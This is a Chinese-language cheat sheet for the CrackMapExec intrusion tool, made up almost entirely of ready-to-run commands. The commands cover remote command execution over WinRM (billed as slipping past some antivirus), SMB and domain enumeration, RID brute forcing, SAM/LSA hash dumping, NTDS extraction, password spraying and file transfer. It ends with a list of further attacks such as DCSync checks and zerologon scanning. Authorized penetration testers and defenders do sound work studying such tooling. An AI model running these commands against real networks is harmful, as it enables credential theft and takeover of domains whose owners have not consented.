CrackMapExec内网渗透工具：功能与用法详解

CrackMapExec（简称CME）是一款用于内网域渗透的强大工具，可用于信息收集和漏洞探测。以下是其主要功能和使用示例：

1. 使用WinRM执行命令 通过WinRM执行命令可绕过部分杀软拦截：

<code>crackmapexec winrm 192.168.216.144 -u 'administrator' -p 'pass1234!' -x 'whoami'</code>

2. SMB协议常用枚举功能

• 枚举域组：

<code>crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --groups</code>

• 枚举不需要SMB签名的主机：

<code>crackmapexec smb 192.168.1.0/24 --gen-relay-list relaylistOutputFilename.txt</code>

• 枚举主机上的杀软：

<code>crackmapexec smb <ip> -u user -p pass -M enum_av</code>

• 列出共享：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --shares</code>

• 枚举有效sessions：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --sessions</code>

• 列出磁盘：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --disks</code>

• 枚举登录用户：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --loggedon-users</code>

• 枚举域用户：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --users</code>

• 通过爆破RID枚举用户：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --rid-brute</code>

• 获取域密码策略：

<code>crackmapexec smb 192.168.216.144 -u 'test' -p 'ppt1234!' --pass-pol</code>

• 验证本地用户，并测试登录：

<code>crackmapexec smb 192.168.1.0/24 -u UserNAme -p 'PASSWORDHERE' --local-auth</code>

3. 获取凭证Hash 可使用–sam、–lsa参数：

<code>crackmapexec winrm 192.168.216.144 -u 'administrator' -p 'pass1234!' --sam/--lsa</code>

4. 导出域NTDS

<code>crackmapexec smb 192.168.216.144 -u 'administrator' -p 'pass1234!' --ntds</code>

5. 密码喷洒

<code>crackmapexec smb 192.168.1.101 -u user1 user2 user3 -p Summer18 crackmapexec smb 192.168.1.101 -u /path/to/users.txt -p Summer18 crackmapexec smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt</code>

6. 文件上传下载

<code>crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt crackmapexec smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt</code>

7. 检测服务

<code>crackmapexec smb <ip> -u 'user' -p 'pass' -M spooler crackmapexec smb <ip> -u 'user' -p 'pass' -M webdav</code>

8. 其他功能 包括ASREPRoast、查找非约束委派账户、检测ESC8（adcs）漏洞利用、收集子网段信息、查看具有DCsync权限用户、收集BloodHound信息、通过RDP协议屏幕截图、扫描zerologo、petitpotam、nopac漏洞。

这些功能使得CrackMapExec成为内网渗透测试中的强大利器。